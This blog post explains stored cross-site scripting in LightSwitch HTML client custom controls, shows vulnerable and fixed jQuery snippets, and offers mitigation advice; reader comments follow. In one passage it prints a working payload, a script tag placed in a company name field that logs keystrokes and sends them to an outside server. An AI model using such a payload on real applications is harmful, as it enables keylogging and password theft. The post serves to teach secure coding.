Lightswitch Custom Controls and Script Injection

LightSwitch HTML client applications are subject to the same potential exploits as any other html/javascript application. LightSwitch works some fantastic magic and makes it so easy and quick to produce data-oriented applications for the web that you might forget that the onus is still on you to properly secure the application.

As a simple example of how even experienced developers can leave behind potentially exploitable code, let’s consider the use of custom controls in LightSwitch and how to secure them against script injection and cross-site scripting exploits.

Joe Binder, LightSwitch Program Manager at Microsoft, posted an excellent article on the LightSwitch Team Blog back in December 2012: Custom Controls and Data Binding in the LightSwitch HTML Client. In it, he includes two code snippets which are almost identical.

Snippet 1

myapp.BrowseOrders.RowTemplate_render = function (element, contentItem) { 
 var orderDate = $("<p>" + contentItem.value.OrderDate + "</p>"); 
 orderDate.appendTo($(element)); 
};

Snippet 2

myapp.BrowseOrders.RowTemplate_render = function (element, contentItem) { 
 var orderDate = $("<p>" + contentItem.value.Customer.CompanyName + "</p>"); 
 orderDate.appendTo($(element)); 
}; 

The first code snippet, because it is referencing the OrderDate field, which is constrained to be a date and not arbitrary text, is not vulnerable to script injection. The second code snippet, however, is likely vulnerable. In this particular example, Joe is using the Northwind Database. The CompanyName column is limited to 30 characters, which doesn’t provide enough room to insert any non-trivial scripts, so he’s safe. But such is not the case if a developer were to use this code with a different database: one where the CompanyName property is a typical, unconstrained string of maximum length 255 characters, which is the default behavior when adding a string property to an Entity in the LightSwitch Entity Designer.

First, let me note that the fix for this particular example is trivial. Change the code to use jQuery’s text method:

Fixed Snippet 2

myapp.BrowseOrders.RowTemplate_render = function (element, contentItem) { 
 var orderDate = $("<p>").text(contentItem.value.Customer.CompanyName); 
 orderDate.appendTo($(element)); 
}; 

The text method will escape special characters… e.g. it will change any < characters to &lt; and any > characters to &gt;. This prevents embedding of html or javascript.

Now that we’ve gotten that out of the way, let’s take a look at the veritable carnage that could ensue if one did not fix this vulnerability.

Let’s suppose that for some users of your application, you only want them to have very limited access. Maybe these are the employees who can create a new Customer record, entering the customer’s name, address, and phone number, but aren’t allowed to do much else. Only trusted employees can do things like add orders or view sensitive data.

When there is a script injection vulnerability in your application, it can make it possible for a user with limited access to gain access to data that they normally couldn’t access. It can even make it possible for that user to grant themselves administrative access to your application, or to log another user’s keystrokes, potentially stealing passwords or other sensitive information.

Imagine you are John, a temporary employee at WidgetCo. Your access to the system is limited to entering a new customer’s name, address, and phone number. You are taking a call from a new customer, Acme, LLC. When filling in the CompanyName field, you enter

Acme, LLC                            <script>$(document).keydown(function(e){$.get('http://johnsWebServer.com/keylogger.php?key='+e.which)});</script>

Now, let’s say that an administrator is viewing the Browse Orders screen, and Acme, LLC happens to have an order in that list. The administrator probably hasn’t even realized it, but her application client now has a keylogger attached which is sending every key she types to John’s webserver, where it’s all being recorded.

Let’s see this in action with a screencast

You can see at the end that merely viewing the “Browse Customers” screen infects the session with the keylogger – notice the network events that Fiddler is capturing as I type.

A few key points:

  • Be very careful how you build your custom controls in javascript. Appending a user input string to html directly is generally a bad idea. Use tools like jQuery’s text method or the Google Caja project’s jsHtmlSanitizer (the latter if you actually want to support html formatting tags). If your custom controls start to become more complex, consider using a template system that provides easy support for escaping embedded values (some options are Underscore.js or Lo-Dash)
  • Consider validating input fields to either prevent or strip potentially dangerous characters if they aren’t actually needed for a particular property.
  • Remember that a LightSwitch application isn’t defined simply by the client. LightSwitch is exposing an OData webservice as well. So it is never enough to implement validation on input fields in the client alone – you must also ensure that the OData webservice is enforcing those validations.

It would be fantastic if an upcoming version of LightSwitch were to extend the existing entity property validations to add support for something like RegEx. But until then, you’ll need to write both client-side and server-side validation code if you take that approach.

4 thoughts on “Lightswitch Custom Controls and Script Injection

  1. Hi Jewel,

    Great article, thanks for pointing out my bug :). I’ve updated my post.

    In terms of the larger issue(s) you’re calling out, there is certainly a need to recognize that technical rigor and attention to vulnerabilities are undiminished in rapid development tools like LIGHTSWITCH. Built-in semantics such as regex, HTML encoding, more declarative rules, support for static JavaScript analysis, etc are on our near-term radar; nonetheless, where this is JavaScript written there is the possibility of these vulnerabilities, and raising awareness for them is good for all of us.

    Thanks.

    Joe Binder

    • Thanks Joe,

      I hope you don’t mind me using your post as an example… I’ve written code just like that, and I’ve seen many other bloggers do the same. It’s really easy to overlook that kind of thing, especially when we’re just trying to communicate how to do something and we’re not writing “production” code.

      Jewel

  2. Michael Washington

    Thanks. I just finished updating all code and blogs on the LightSwitchHelpWebsite.com that were displaying saved user input strings in a custom template to properly use the code you indicated.

Comments are closed.